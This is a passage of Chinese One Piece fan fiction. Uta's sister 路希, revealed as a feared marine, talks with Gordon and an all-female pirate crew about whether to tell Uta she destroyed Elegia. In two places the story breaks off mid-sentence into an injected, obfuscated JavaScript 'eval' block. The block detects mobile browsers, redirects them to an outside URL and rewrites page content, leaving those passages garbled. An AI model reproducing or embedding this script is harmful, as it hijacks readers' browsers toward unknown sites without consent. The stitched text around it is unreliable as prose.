“明明她的歌声如此美妙，你身为音乐家，自己也亲口承认，深深折服。可既然你如此赞叹她的音乐，却不愿将歌声外传。你宁愿看着她一天天憔悴下去，也要坚持待在这里。你的内心，其实也希望她死吧。这样岛民的灵魂得到了安息，香克斯的任务完美完成，你也不用日复一日的纠结，能够得到解脱。” “看着我的眼睛，回答我，戈登——！” “你——”戈登忍不住后退几步，情绪失控，喊道，“你根本不明白，托特姆吉卡多么危险！如果让她去了外面，如果再次召唤出来，那么……” “告诉我，召唤托特姆吉卡的方法是什么？！” “乐谱！有写有其音符的乐谱！只要再度唱出来，托特姆吉卡就会出现。” “那就把这份乐谱毁掉。” “不行，我做不到……！” “为什么！” “因为——非常美妙。这份乐谱！十分美妙！没有一个音乐爱好者能做到亲自毁掉它！” 路希的神色冷了下去，“你是个胆小鬼，戈登。”她重复了一遍，继续说道，“你是个胆小鬼。” “你说什么？！” “你贪图托特姆吉卡乐谱的美妙，不愿毁掉。同时又害怕它带来的危险，你没有承受这份风险的能力，没有面对托特姆吉卡再次被召唤出来造成后果局面的勇气。于是只能对乌塔下手，因为她一无所知，最易掌控。” “把她留在这里，不是对乌塔最好的选择，而是对你最好的选择。” “没有观众，没有希望听歌的人，只有虚伪的真相，被抛弃的人生，日益绝望的未来，在这座一无所有的岛屿，她终将什么都唱不出来。” “我会带乌塔离开，这不是你能决定的事，这是我能决定的事。” 路希如此宣告。 她转身离开，不再理会陡然颓废的老人。 “那你呢，你又能做到吗——？！带她离开，乐谱再次被吸引过去，到时候可能会发生的一切，你就能承受吗？” 戈登在她身后跪地，徒劳地伸手叫喊。 “如果我说可以，你是要骂我天真可笑，没有见识过托特姆吉卡的危险；还是骂我大胆无知，不知何为真正的毁灭？如果我说不可以，你是要嘲笑我没有这种本事，还要大放厥词；还是愚蠢之极，就这样将其他人的性命放置在危险中？” “连当时的香克斯都无法打败，只能阻拦的托特姆吉卡，要现在的我面对，恐怕只能得到同一个结局。” “但有一件事情我很清楚，你知道吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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首先她绝对会把真相告知乌塔，那到时候对方就会知晓香克斯所做的一切是想保护她。虽然这种保护方式难以理解，可她不知为何，却相当清楚地明白，乌塔最先会痛哭、会愤怒、会情绪失控爆发一场，但到了最后会谅解香克斯和所有一切……因为她本身就是为了寻找香克斯的答案而去，她的内心仍渴求着对方的爱。 可是为什么呢，路希心想，她一点都不希望乌塔这样爱着对方，同时追寻着香克斯的爱。香克斯好像只是很深情地表演了一下，其实只是把女儿独自一人丢在岛上，然后不管不顾。这样就可以了吗？这样就可以全部接受，全部谅解了吗？ 总觉得……不应该是这样子的啊。 路希寻思着，试着找到一个方法，一个让乌塔解开心结的方法。 她离海岸边越来越近，却没有恢复成船精灵的伪装状态。乌塔接下去会与她们同行，路希认为有些情况还是早点让芙丽那这群人知道比较好。何况贝格已经见过真实样貌的她了。 芙丽那和贝格的船员们已经结束了对狗狗之神的赞扬，但没有分开，仍然聚集在一起，窸窸窣窣不知交谈着什么，甚至没发现路希的靠近。 路希无声无息地来到她们背后，发现这群人正在摆弄着一个电话虫。 下一瞬间，海岸上出现投影，正是艾蕾吉亚被毁灭的景象，以及还有一个男人慌乱的话音。 “要小心，小心这个叫乌塔的女孩……她很危险……” “哇……” 这群海贼呆呆地发出感叹。 路希：“……” 此时此刻她也想要哇一声。 64.艾蕾吉亚 路希这样想，也确实“哇”了出来。 船精灵回来了啊，芙丽那从电话虫播放的影像中回过神来，朝熟悉的声音看去，准备打个招呼。她还想问问先前船精灵在喊什么，似乎这岛上有她认识的什么人。可是，船精灵会认识新世界的人呢？ 然而，芙丽那的种种想法在看到路希样貌的那一刻停滞下来。她张了张嘴，原本打算问好的招呼与要询问的事情消失无踪。 世经报上的恐怖报道冲击着她的脑海。 “你……你……” 路希冲她和善地笑了笑，芙丽那的脸色愈发苍白，她的大脑放空，一时间只有两个想法：船长还活着吗？她们还能活下去吗？ “怎么了，芙丽那？” 有其她船员注意到这份异常，正侧头发问，准备顺着她的视线看去。芙丽那猛然爆发，试图遮挡住路希的身影，而路希只是动作更快地越过她，来到船员们面前。 她弯下腰，关闭电话虫的影像播放，接着将它放入自己的口袋。路希正面看向贝格海贼团的船员。 现在整个海岸异常安静，大家都看见了她的脸。 南海海贼的毁灭者，海贼们的暴君——海军新星，路希。 “我们来聊一下吧。” 寂静中，路希第一个发言。 芙丽那自看到报纸上的消息后，曾无数次庆幸，她生活于西海，无需经历南海海贼们可怖的遭遇，也数次感到欣慰，还好她们已经进入伟大航路，对方的这种手段见过一次便难以施展第二次，加之伟大航路海域辽阔，相遇的可能性又大幅度降低。 结果那位避之不及的人却如此鲜明地出现在眼前。芙丽那艰难开口：“你是不是……有什么孪生姐姐或者妹妹？” 或许只是长相相似，她内心哀叹着想到，怎么会就这样出现在她们的眼前呢？可对方的话残酷的否认了她的幻想。 “我就是那个路希，海军的路希。” “妈妈……呜呜……”“船长……怎么办……”“不要、我不想死。”“我们什么坏事都没有做过啊……” 有几个人直接掩面哭泣，也有的人摆出了攻击姿态。贝格海贼团的战斗人员并不算多，至少以路希的评判标准，勉强能打的只有贝格一人，其她更多类似于战斗中鼓励用的气氛组。 路希有些好奇地打量着这群人。这是她第一次面对南海海域外其他海贼对她的反应，气氛十分微妙， “你是来……杀掉我们的吗？” 芙丽那的语气脆弱不堪，但已经做好了战斗的准备。她迈步来到众人身前，她是这艘船的副船长，就算死也应该要死在船员前头。生死不明的船长另算。 路希直接反问：“为什么？” 芙丽那怔住：“……什么为什么？你对南海的那些海贼，不就是这样做的吗？” “可是，这里并不是南海。这里是新世界。而且我在休假。” 芙丽那犹豫着看着对方，开始思考路希话中的意思。在她的背后，有人焦躁地开口发问：“船长呢？你把我们的船长怎么样了？！还有……船精灵呢？” 提及船精灵，那个人语气中的不确定性增多，毕竟，眼前之人的声音可是和船精灵的声音一模一样。不管如何迟钝，多少也能察觉出真相。 路希坦荡荡地回答：“在和乌塔抓兔子，顺便一提，她完全没认出我。” “……因为贝格是从来不看报纸的笨蛋！不对、乌塔……？！是你刚才一直在喊的名字。” “是我的姐姐，我来新世界找她，正好看中了你们的船。” 香波地群岛这么多海贼，为什么偏偏是她们啊，芙丽那很想大声质问，但最终忍耐下来，怀抱着那一丝微弱的希望开口，“你不会杀掉我们，也不会把我们抓去海军的，对吗？” 至少，她们是真的真情实感相处了好几天。那几天，对方伪装的船精灵身份对船员们的保护也是货真价实的。而且这个海军现在也并没有对她们展现出攻击性。 路希却突然地转换了话题。 “你们刚才在看的是什么？” “等等……” “先回答我的问题。” “……” 芙丽那看了一眼身后的船员们，面对路希答道：“仪式举行结束后，我们准备试着看看能不能钓点鱼上来吃，结果，钓上了电话虫……然后，就是你看到的这个样子。” 芙丽那的声音顿了一下，她忽然发现一件事，“刚才视频中那个男人中有提到一个名字……” 路希笑眯眯地看着她，回道：“是乌塔。从电话虫放映的内容看，他记录了乌塔召唤出托特姆吉卡，毁灭艾蕾吉亚的场景。” 芙丽那的心再度被绝望塞满。 “乌塔是你的……姐姐。” “是。” “你不会让这个视频传出去的，对吗？” 路希的视线越过芙丽那的肩头，望向她身后那群神色惶然的女人们，片刻后，她盘腿坐在地上，示意芙丽那也坐下来。 芙丽那不明所以，但鉴于她们群攻大概也打不过对方，因此她顺着对方的意思坐了下来。她注视着路希，对方似乎有些苦恼。 苦恼什么，芙丽那苦中作乐地想，苦恼怎么杀掉她们埋尸吗？ 路希思考了会，放弃了组织语言，决定直接发问。 “你们说，我要不要将乌塔毁灭艾蕾吉亚的事情告诉她本人？” 芙丽那茫然地望着路希，又和身后的同伴们眼神交流了几面，才开口确认道，“……你说什么？” “我说，要不要将乌塔毁灭艾蕾吉亚的事情告诉她本人？” 芙丽那：“……” 芙丽那犹豫着问她：“我不是很能理解你的问题。她毁灭了这座岛，但她却不清楚这件事吗？” 路希点头：“是啊。严格来说，毁灭艾蕾吉亚的不算乌塔，她只是一个载体，召唤恶魔托特姆吉卡的载体。” 盯着芙丽那与其她船员们茫然的目光，路希将所有她知道的事情托盘而出。数分钟过后，所有人都颇为艰难地消化着刚刚得到的信息。 “那个红发……有个女儿？”“歌歌果实会召唤出可以毁灭世界的恶魔……？”“红发就这么把九岁的女儿丢在这座岛上？”“还有个老头国王。”“居然就这么把女儿丢在一个老头国王身边……？”“两个人……三年……在这座岛上……？” 路希再度问出了先前的问题。 “所以，你们觉得我应该要把这件事告诉乌塔吗？” “不要——！” 意料外的得到了异口同声的回答，先前那种敌对的气氛不知何时散去。路希安静地看着这群年龄各不一的海贼们。 似乎是尴尬于方才的回答，空气沉默了几秒又热闹起来，女人们一个接一个的开口。 “并没有看在你的身份上为那个女孩开脱的意思，我是说……不管怎么样，她召唤出托特姆吉卡毁灭了这座岛是事实……” “用年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448699|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龄将她放在一个绝对无辜者的位置上似乎很奇怪……她同样是受害者，但也是被迫的加害者，如果要不断说着她有多么多么可怜、不幸，那些死去的人的性命，又算什么呢……” “不过，她的确是无辜的。恶魔果实的能力，很神秘吧……五花八门，各种各样，能力者自己都不一定清楚能力的作用，那个孩子显然也没有完全掌控。” “与其说是她毁灭了艾蕾吉亚，不如说那个叫做托特姆吉卡的恶魔同时毁灭了她与艾蕾吉亚，想要摆脱恶魔果实的能力，除非死去。她一生中都要背负着这件事吧……我是说如果把真相告诉她的话。” “那个乌塔，今年也才十二岁吧，事情发生的时候不过九岁。我不认为她要对这件事负责，而且，我也不认为她有这样的心智能承担得起这件事。” “赞同。我们要成长，人生的过程中不可避免要经历各种事件，好事、坏事，幸运的事、倒霉的事，但是根据你刚才的话，她显然被剥夺了这种权利。” “在渺无人烟的孤岛上，被家人丢下和一个陌生的男人相处，恕我直言，恐怕那个孩子的心智不仅没有成长，恐怕还要倒退不少吧。” “但是——她必须要承受起这一切。因为她是歌歌果实能力者，只要再度唱歌，便会有召唤出托特姆吉卡的风险。可船精灵你说过，她是天才音乐家吧！我无法忍受这种事，天赋异禀的孩子要因为年幼时被动犯下的一个错误彻底封印自己的才能。” “如果她需要赔罪，那就更应该唱歌，连恶魔都会被吸引过来的歌声注定是与众不同的。既然她可以毁灭一座岛屿，那也可以拯救一座岛屿。何况，就算不是为了试图救什么人，她也得成长到学会掌控自己的能力，因为只有这样，才能不再去伤害别人。” “说真的，继续留在这里反而更糟糕吧，这里是一座灭亡的岛屿诶，她的家人们到底是怎么想的啊？！在指望一个九岁的小孩留在这里能做什么啊！” “我建议我们马上就带她离开，来船上开派对！我们的船上缺少一个真正的音乐家！芙丽那是不可能既当我们的副船长又当航海士还当船匠还是战斗员同时兼职船长的保姆的！” “附议，我们连船长都能养得了，还成功从西海养到了新世界，养一个普通的小女孩简直轻轻松松啊。” 每一个人都在发表自己的言论，而那些言论最后皆达成统一的结果。路希托着下巴，颇有耐心地听所有人讨论。 对啊，好像就是这样的事，她模模糊糊地想着，就得这样做才可以。在风车村和科尔波山，作为男性的村长、爷爷和那些山贼们不会注意，会下意识忽视，不会提起的事，可玛琪诺和达旦会在意的事，会告诉她女孩子和男孩子不可以一起睡，不可以一起洗澡，那些身体上的差别。 所以她才会在这里与她们谈论着这件事，必须得是女性才可以啊。 这个世界上的所有人，不管是她，乌塔，艾斯，爷爷，鹤中将，三大将，四皇……世界上的所有人，弱者与强者，好人与坏人，都是从女人的身体里诞生的。然后，她们哇哇大哭，妈妈伸出手，她们的手成为了孩子的第一道路标。 但这个世界太混乱，于是好多人与自己的母亲分别，乌塔也是。 不过没关系，路希信心满满地想，总归，香克斯在三年前就丢掉了他身为养育者的责任，而她不准备让他有再度拾取的机会。 香克斯这个爸爸不能要了，既然如此，作为补偿，她要给乌塔找很多个妈妈。 65.艾蕾吉亚 乌塔被贝格抱着在山林间快速疾驰。 她虽在这里生活了三年，却从未像贝格这般肆意奔跑过。彼时无形的锁链缠住了她，就连与戈登的对话也勉强。空荡荡的艾蕾吉亚，仍有无形的视线注视着她。 现在，这份奔跑好像要将一切束缚着她的无形之物都打破。 乌塔抓住贝格的衣角，头贴近靠近对方，发丝垂落，她的心怦怦直跳。乌塔有些紧张，因为她并不知晓兔子巢穴位于何处，她也不是兔子精灵。 她注定无法帮助贝格抓到许多兔子。这位路希带来的伙伴，会对此感到失望吗？ 贝格转换为人兽型形态，双脚兽化，更为有力地踏在土地上跑动着。 “那个……” 乌塔小声地开口，贝格像是没有听到，无动于衷。乌塔紧攥住对方的衣角，深深呼吸，给自己施加勇气，比先前更为大声的开口。 “那个……贝格！” “嗯？” 得到回应，乌塔却不知自己该说什么。她好久没与人正常聊天，此刻大脑忽然一片空白。 贝格对此自有自己的一番理解，兔子怕狗，很正常。她只觉得自己的威压十分强大，洋洋得意。得意不过片刻又想起这位是船精灵的姐姐，不能随意恐吓，毕竟回头姐姐告状，她就得接受船精灵的凝视。这个问题十分严肃，因为她打不过船精灵。 贝格急忙找话题，转移兔子精灵的注意力：“我们要抓很多很多兔子！今晚吃烤兔肉！” 乌塔：“……” 这位远方来客似乎是真的喜欢兔子。 乌塔忽然起了些好奇心，问道：“贝格……你是怎么和路希认识的呢？” “路希？”贝格嘟囔了一句，隐约记起船精灵好像是有这么个名字，话说回来，这名字总感觉迷之耳熟啊。贝格没有在意这点耳熟，老实回答乌塔的问题：“在海里，有海王类要吃我们，船精灵出来保护我们。” 船精灵真的是很好的一只船精灵啊，她想，明明她时不时会不小心破坏船身，但船精灵毫不在意，还愿意出来救她。不过也有一部分，是因为每次破坏过后，她会认真修补的原因吧。她还把自己偷偷藏起来的钱都拿出去过，在七水之都让那里的船匠给船只升级呢。 总之船精灵很好，她也很好。贝格毫无谦虚之意的自夸。 乌塔睁大眼睛，“海里？是沉船了吗？” 贝格也睁大了眼睛，天啊，兔子精灵居然比她还没常识，连这种事都不知道。她的教学欲瞬间爆棚，要知道平时在船上，她知晓的事其她船员早就知晓了。贝格把乌塔放下来，准备好好给她进行知识的洗刷。 “就是那个！在泡泡树的岛屿！我们的船可以被很大很大的泡泡包裹住，然后就可以咕噜咕噜下沉去海里的人鱼岛了，在深海一万里哦！你没去过吧！” 泡泡树的岛屿……乌塔旧日的记忆逐渐复苏。 “我去过的……我的父亲，那个男人带我去过。” “刚才那个老头吗？” “……不是。” “哦。” 贝格的反应很平淡，然而正是这种平淡激起了乌塔一种奇妙的情绪。因为过于相熟，有些事情难以对路希说出口的，不愿让路希知晓的，只能深埋心底的，似乎可以在这里对着一位陌生人吐露。 “贝格为什么要出海呢？你的父亲是怎么想的呢？” 贝格不太理解话题怎么突然跳跃到这个地方，她还没好好对兔子精灵科普人鱼岛呢，虽然她也只是在外边远远的看了一眼，没有真的进去，但不妨碍她吹嘘。她眉头一皱，准备快速解决兔子精灵的问题，将话题扯回来。 “我没父亲，说起来，你去过……” “诶……对不起。” 贝格正欲将话题引向人鱼岛，大肆炫耀她的见识时，却收到乌塔的慌张道歉。贝格陷入茫然。 “对不起？” “提起了你父亲的事，你一定很难过吧。” “我没有啊，为什么提到父亲我要难过？” 贝格难以理解，思索再三后认定是兔子与狗的生态习惯不同导致的，虽然具体哪里不同她也不清楚。 乌塔也有些不知所措，试探性地说道：“因为……你失去了父亲？” 贝格不解地看着乌塔：“这是要这么难过的事情吗？” 乌塔同样困惑地看着贝格：“不需要吗？” 贝格瞅着乌塔的神情，骤时灵光一闪，“你该不会有个父亲吧？！” 乌塔：“……” 乌塔沉默地点头。她是有个父亲，但她不明白贝格表现出来的态度。总有一种……微妙的怜悯味道？乌塔不是很确定。 贝格激动地感叹：“怪不得，你这也不懂那也不懂，原来是因为有个父亲啊。姥姥说的果然是对的！” 乌塔尝试理解贝格话中的意思。“这是什么意思呢？香克斯姑且还是教会了我很多的。” “那你会打架吗？” “不会……” “你会捕猎吗？” “不会……” “你会带回食物和财宝养活自己的同伴吗？” “不会……” “你看，你这不分明什么都没学会！” 乌塔试图反驳，“那是因为我不需要，香克斯和大家就会弄好这一切啊。” “可是这个岛上不就只有你和那个莫名其妙的老头吗？没有你口中的香克斯啊，你也什么都没学会。” “……！” 像是被锋锐的利箭猛然击中，乌塔骤然产生一股委屈的冲动，是啊，她还什么都没学会，香克斯和他的船员就把她丢在了这里。可是，她到底做错了什么呢？时至今日她仍然不愿意相信，香克斯是毁灭这座岛屿的元凶。 她分明是如此的了解他们。 “你根本什么都不懂……！不过是顺路被路希带来的人，你根本什么都不清楚。” 糟糕、不好，她暗想着，她控制不住自己的脾气了，可是贝格是无错的啊，她就这样肆意朝着对方发泄。然而阴暗的情绪流露过后，她反而觉得内心轻松了一点起来。有多久了，她想，有多久没有这样好好表达过自己的感情了。 然而贝格却笑了。 “我就是不懂啊，那又怎么样？你的父亲什么都没教给你，还让你这么伤心，你为什么要一直记着他呢？” “因为我是被他养大的啊！” 可贝格沉思了会，却摇了摇头，“不对，你不是被他养大的。” “什么？” 乌塔感觉像是听到了什么很可笑的话。 “你什么都没学会，什么都不懂，他没有教过你怎么好好在世界上生存下去，这样子不叫做养大。他可能只是给了你很好的饭吃，很好的水喝，你就错误的把这个当成养育之情了。” “……那你说，到底怎么样才算啊！” 她握紧了双手，可贝格的语气还是那么平淡，这些萦绕在她心口的痛苦，在对方心中，似乎只是一个不值一提的小事情。 “唔，至少要让你不会问出这个问题才算吧。如果他真的养大了你，你就不会对这个问题这么存疑。就好像我的船员，从来不会对我抱怨船长你养人好差劲啊，你一点都不会养人，因为我很好的养着她们。” “……” 乌塔没法再让自己与贝格交流下去，转身就走。贝格苦恼地看着她的背影，最终决定还是先去抓兔子。毕竟一个心中有爹的人是没法与心中没爹的人交流的，姥姥说的，这就是道不同不相为谋。所以她从不让男人上自己的海贼船，因为男人总是爱当爹。 乌塔愤愤地走在回去的路上，她自己也不清楚自己为何要如此愤怒。贝格的话总是在提醒着她一个残酷的事实，她被香克斯抛弃了，这是她心中难以释怀的痛楚，而随着年岁增长，这份痛苦一层一层更加深入她的灵魂。 她不要再同贝格讲话了，这个人太讨厌。对了，她要去找路希，路希到底是什么找到她的，为什么认定她就在这里呢？从东海到新世界，多么遥远的距离啊。她得让路希在这里多留一段时间才是，这里好安静好冷清，好不容易热闹起来了，路希不可以这么快回去的啊。 乌塔开始跑起来，喘着气忍着泪。路希路希……她心想着，她心念着，要陪着她的啊。要开宴会，要一起睡，要彻夜聊天，要胡吃海塞，要谈论很多很多，她们刚才是那么开心。路希路希，她奔跑着，朝着那道她唯一可以抓住的线。 路希正在和贝格海贼团的一群人 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要说有多大变化，其实也并未产生太大变化。只是忽然有了许多人气，墙壁与地面多了绚烂的色彩，一旁低矮的灌木丛洒落着五颜六色的彩带。女人们的声音吵吵闹闹。活人的气息。 乌塔顿时紧张起来，双手不知该往何处摆放，好多人，她想，好多人，她要怎么与这群人聊天比较好。 她差不多要失去这种谈话的技能了。 “诶，你是乌塔吧？”“哇，乌塔，没有去抓兔子吗？”“该不会我们的船长又自顾自玩去了吧？”“抱歉啊，乌塔，船长就是这种性格，会让芙丽那好好教育她的。”“虽然她从来都不会听。”“要举办宴会了哦，我们等会一起来跳舞吧。”“也可以一起唱歌，耶耶。” 结果，这群陌生人意外的友好。在她试图小心翼翼开启谈话之前，便热情地打了招呼，让她恍惚间觉得自己回到初次来到艾蕾吉亚那日，也是被陌生的女人拉着手一同跳舞唱歌。 是路希介绍的吧，乌塔心想，这就是她先前所说的贝格的伙伴，真是的，与贝格完全不一样。她的心情不由自主放松下来。但是，她还在寻找。路希在哪里呢，乌塔环顾四周，越过一个又一个笑意满满的女人，她所经过的地方，生活气息愈发浓厚，逐渐稀释着她先前的愤怒，缓解着她的不安。 而路希就在这条道路的尽头，乌塔找到了要找的人，她的手中变幻着各种形态不一的花卉。 乌塔遥遥地望着。 看见她，她忽然感到很安心。 是啊，无所谓了。她心想，贝格说的就是事实，她被丢掉了，所以才会如此愤怒。因为贝格是那般直白的切中她内心不愿承认，试图忽视、遗忘的事情。可是没关系，一切都结束了，她被路希找到了。父亲……香克斯已经不重要了，她有了可以重新陪伴她的家人。她要与路希在一起，她会与路希在一起。她知道对方一定会同意的，毕竟路希可是航行了这么远的距离来到这里。 从东海到新世界，穿过遥远的海域来到一个灭亡的岛屿。她会承担起一个合格的家人责任，好好抚养路希长大的。绝不会如同香克斯那般在中途便放弃。 乌塔急切地跑过去，仿佛下一秒这位家人就会消失，她呼喊着她的名字。 “路希——！” “啊，乌塔！” 乌塔来到路希面前，死死握住她的手，带着连自己都没有察觉到的哽咽发出请求。 “路希，留下来吧，留在艾蕾吉亚，和我在一起吧。” “不要离开这里。今天，宴会过后，就让贝格她们走吧。你留在这里陪着我。” “艾蕾吉亚会有你，会有我，会有戈登，我们三个会很好的生活在一起。” “我会教你很多的，我会教你唱歌，教你编写乐谱，教你弹琴，教你弹奏各种乐器。我们会很好的，很幸福的生活在一起。” “香克斯他们已经不重要了，大海也没什么好去的，我们一起把艾蕾吉亚建设成一个全新的岛屿吧！我们两个就是新的国王！” 不管怎样，这片土地上的荒芜气息不会消失，因为在此确切生活的只会有两个人。可她不愿再过这种生活了，花朵枯萎，树叶腐烂在泥土，阴影们窃窃私语。她要过上一种全新的生活，因此她不会再让家人离她而去了。 66.艾蕾吉亚 有什么地方出了差错，路希盯着明显情绪过于亢奋的乌塔，脑子飞速转动着。 在此之前，她与贝格一起去抓兔子来着。而现在……路希没在附近感受到贝格的气息。 她斟酌着开口：“国王的话，得有国民才能当上吧。” 乌塔立马接上她的话：“戈登！戈登可以当我们的国民，还有小鸟、奶牛、山林里的很多动物。我们可以对着植物唱歌，你不是可以变幻出植物吗？那我们的歌声的一定可以传达到它们心中。” 路希认为问题不是这个。而且只是霸占了一个岛屿的世界之王听上去好寒酸哦。不过她还是顺着乌塔的话说下去：“然后，我们要一直待在岛上干什么呢？” 乌塔有片刻的茫然，不过她很快想好回答：“我们可以一直一直唱歌，也可以养很多很多小动物，养兔子，吃兔子……”她的语调慢了下来，像是在努力说服自己，“有时，会有像贝格她们的人航行到我们岛屿。我们可以又唱又跳地欢迎她们，带给她们早就准备好的歌曲。当她们离开时，一定是幸福又快乐的。艾蕾吉亚的名字会被她们记在心中，渐渐地传播出去，传到大海的每个角落。” “这里一定会再次复苏，会恢复到原来的景象。所有人都会到这里来，这里会再度成为音乐之都。” 路希眨眨眼，“听起来很不错。” 得到了肯定，乌塔愈发欣喜。“是吧！你也这么觉得。那就这样，留下来吧，路希。” “好啊，不过我们还得开场宴会呢。贝格的船员们正在准备这些呢。” “当然！我们会开一场有史以来，最厉害，最热闹的宴会！” 两人达成共识，乌塔迫不及待地冲进忙碌的海贼们中，询问对方是否需要帮助。芙丽那她们并未客套，相反，还真的让乌塔帮着做了点小差事。 譬如一起探讨墙上涂画的图案，递交颜料给有需要的其她人，编织花草环作为装饰戴在头上……干活时也偶尔谈论到过去的事。乌塔算是知道了这群女人原来都是海贼，从西海穿过伟大航路前半段来到此处。 一群女人们的冒险。 “……我以前，也想过当一名海贼。” 不知怎的，或许是感到她们的团结一心，又或是那份自由自在的态度让她产生了些许羡慕之情，她有些遗憾地说道自己过去的梦想。 对着墙涂画的女人喷完最后手中的颜料，摇摇罐子，悠闲地回道：“现在也可以去当吧。” “不，我不会成为海贼，我会和路希留在岛上，成为艾蕾吉亚的新国王。” 她的语气满是幸福，倒是听到话中内容的女人们手中动作都停了会，片刻后，有人不动声色的继续聊了下去。 “海军当国王，听上去还蛮新奇的呢……还是说船精灵放弃当海军了吗？” “诶，什么意思？” “啊，你还不知道吧。船精灵、不对，路希是海军，很厉害的那种海军哦。” 这下轮到乌塔停下手中的动作了。 “那个……能给我再多说点路希的事情吗？” 这并没有什么好隐瞒的，当初世经报的报纸销量大爆发，几乎整个海域都知道那些事。众人七嘴八舌的把某人的事迹告知乌塔。 和同伴们灭了南海的全部海贼，让南海一举越过东海成为最安全的海域；世经报有专门的报纸连载以她们为原型的漫画，人气几乎一瞬就超过了海上战士索拉。要说为什么，因为男人打来打去的故事早就看厌了吧。 “反正我对索拉的故事是没什么兴趣啦，正义的英雄是男的，邪恶的反派也是男的。哦，好像还有个女人，不过五个人中只有一个是女人，搞什么嘛，那种餐盘上作为点缀的花朵吗？” “作为海贼而言，我们很害怕她，毕竟她很残酷啊……但是，如果我还不是海贼，只是一个普通人……我一定很期望她能来到西海，把那些海贼们全部杀掉。” “虽然这样说好像把我们自己骂了进去，不过我也没办法夸海贼，要知道，船上的人过去有谁没受到过海贼侵害呢……就是因为在岛上有黑手党，岛外又有海贼，我想稍微活得好一点，才上了贝格的船。毕竟这里至少全部都是女人嘛。” “抛去所有恐惧与偏见的话，她和她的同伴们确实在南海创造了一个小小的奇迹，然后，那份奇迹展现在我们所有人眼前。如果是她们的话……如果能像在南海那样一直走下去的话，说不定，世界确实会因此而改变。” 乌塔一言不发地接收着所有信息。芙丽那注视着她，片刻的思考过后，她从口袋里掏出平时用来哄骗贝格的肉干，递给乌塔，关切问道：“干了这么久的杂活，你一定累了，我们去旁边休息一会吧。” 乌塔暂时还不太会拒绝这份好意，接过肉干，迈着有些僵硬的步伐跟了上去。 她们找了一处台阶坐下。 芙丽那伸伸懒腰，喟叹道：“好久没像这样子休息过了。” 乌塔的笑容有些勉强，没什么精神气地应道：“怎么会？海贼，应该过得很自由吧。” 她对海贼生活的印象还来自于昔日在香克斯船上度过的日子。 芙丽那噗嗤一下笑出声，“自由并不代表着和平与安全。你知道伟大航路有多少种奇异的气象吗？” 乌塔摇摇头。 芙丽那说道：“其实我也不清楚，因为我们出航的时间连一年都没到，就幸运般的来到了新世界。不过即便如此，也碰到了十几种完全不同的气候。” 她开始手舞足蹈，有声有色地为乌塔讲述过去的冒险。 “你知道天空会下超大冰雹的冰雹雨吗？太可怕了，那些冰雹有的差不多跟我们的船差不多大，有的小一点，但也差不多有一个成年人那么高，贝格那次为了防止我们的船被击沉，努力地击碎了好多好多冰雹，受了好重的伤呢……” “有一次，海上居然刮起了超大的龙卷风！你能想象吗？海上的龙卷风诶！我们都还以为要死在那里了！要知道龙卷风可不会因为船长能变身一只可爱的小狗而放过我们，我们只能掏出备用桨，或者拿相似的东西代替桨，大家一起努力划船，拼了命的逃离……” “还有一次，明明天气很好，结果天空却一直在打雷闪电，哗哗哗地落在海上，激起好大的浪花。我们的船都不知道往哪个方向开，还好这个时候船精灵已经上船了，我们也不知道她怎么做到的，好像能提前感受到闪电落下的位置，一直指挥着我们前进。不过也有那么好几次失误，多亏了船长皮糙肉厚啊，挡在我们前面。还有船精灵能一口气召唤出好大的树木，挡住了那些雷电……” 乌塔渐渐地听着入了迷，仿佛自己也跟着她们一起参与了冒险。 “有时候天气很好，风平浪静，以为可以好好休息一番时，便会有不知哪里冒出来的海军，或者同行的海贼。碰见了海军要跑，碰见了海贼得先观察下是哪个船上的，赏金多少，能不能打过，能打过的话当然就得开打，毕竟我们的资金一大半来自于这些海贼，黑吃黑嘛。” “你们明明没做什么坏事，也会被通缉呢？” “海军那边的判定方式不太一样，或者说世界政府判定海贼的方式不太一样，只要不是得到他们允许的，都属于非法航行的船只。而非加盟国岛屿出来的船，基本都属于这类。” “既然这样……路希当初在南海剿灭的那群海贼……” “你提起这件事了呢。关于这些，我没有办法告诉你答案，正如同我不知道她是抱着何种想法，何种目的做出这个决定，也不清楚她与她的同伴们要承受什么。有人骂她们，恨她们，有人赞颂她们，跟随她们。总归，每个人要走的道路都不一样，贝格为了追求更广阔的自由出海，我为了抛弃过往的生活出海……船上的许多人也有着各自出海的理由……不过，有一件事是肯定的……” “倘若我们只是一味地待在原先的岛屿，我们注定只会被原先的生活覆盖，那种有些令人窒息的、沉闷的、狭窄到一眼望到头，无路可退的人生……我不想告诉你我的过去，因为那不是什么好故事。我也没有资格在未经允许的情况下告知你船上其她人的过去，即便我亲眼看见过她们的故事……” “但是，我可以肯定的是，这片大海，那些我们尚未踏足的土地，那些我们还未航行过的区域……还有着同我们一样的故事，就像这座遭到毁灭的艾蕾吉亚，在另一处海域必定也有同样被毁灭的岛屿。说到底，世界的底色是相似的，天龙人压榨贵族，贵族压榨普通人，退无可退的平民们成为海贼，对着继续曾和他们同为普通人的同类们出手。” “恶性循环，旧时代却这样一直延续下去，可总有人不愿成为维持这种时代的燃料，我们怀抱希望，我们手持信仰，离开大地，进入茫茫大海。可能我们自己也不知晓未来的结局，或许是被海浪掀翻，或许是被海兽吞食，或许是被海军抓捕。可无论如何，我们走出来了，我们离开了过往的岛屿。” “我们曾真实的在海上航行。” 乌塔怔怔地看着芙丽那，有那么一瞬，对方心中的苦痛，仿佛也传递到了她的身上。可数秒间，她意识到，是自己依旧被过往的阴影纠缠。她低垂着头，不知是想笑还是想哭，明明嘴角在使劲上翘，可眼里却总是有想流泪的冲动。她轻轻地对芙丽那说着话。 “我想起来了一件事……” “是什么？” 